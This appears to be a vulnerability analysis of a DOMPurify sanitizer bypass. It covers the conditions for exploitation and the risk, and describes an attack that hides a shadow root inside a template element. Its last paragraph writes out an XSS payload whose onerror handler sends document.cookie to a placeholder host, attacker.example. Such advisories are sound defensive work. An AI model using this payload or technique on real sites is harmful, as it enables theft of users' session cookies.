DOMPurify CVE-2026-49978

Exploitation requires three concurrent conditions: (1) the target application uses DOMPurify version 3.4.6 or earlier to sanitize user-supplied HTML; (2) the application's rendering pipeline clones <template> element content and inserts it into the live DOM after sanitization - this is the standard template API usage pattern but must be present in the application's code; and (3) the attacker can inject a <template> element containing an element with an attached shadow root (via the Web Components shadow DOM API) into the HTML submitted for sanitization. Exploitation is limited to browsers that support shadow DOM (all modern browsers). Applications that render sanitized HTML via innerHTML directly without template cloning, or that strip <template> tags from input allowlists, are not affected by this specific bypass. There is no requirement for the attacker to be authenticated; the limiting factor is solely the application's use of the template cloning render pattern post-sanitization.

No official CVSS vector was assigned by NVD at time of analysis, so risk signals are drawn from the advisory, POC, and independently assessed metrics. The attack is network-delivered, requires no authentication from the attacker's side, and exploits a default code path of a widely deployed library - these factors combine for a high real-world risk profile despite the absence of a formal CVSS score. A public POC (poc.html) has been published as part of the GitHub advisory, substantially lowering the exploitation bar. No EPSS score was provided and the vulnerability is not listed in CISA KEV, so confirmed active exploitation cannot be stated. However, the POC's existence combined with DOMPurify's ubiquity in security-sensitive applications (rich text editors, content management systems, email clients) means the window between POC and weaponization is likely short. The primary limiting factor is that exploitation requires the consuming application to both accept user-controlled HTML and subsequently clone/insert <template> elements from sanitized output - a realistic but not universal pattern. Applications that render sanitized HTML directly without template cloning are not affected by this specific bypass.

An attacker submits user-controlled HTML to a web application - via a comment field, rich-text editor, or API endpoint - containing a <template> element with a child element that has a shadow DOM attached holding an <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>. DOMPurify's IN_PLACE sanitizer processes the input and silently skips the shadow root, returning what appears to be clean HTML. When another user visits the page and the application clones the template and appends it to the DOM (e.g., as part of rendering a comment thread), the image's onerror handler fires, exfiltrating session cookies to the attacker. A publicly available POC (poc.html) demonstrating this exact technique was released alongside the advisory.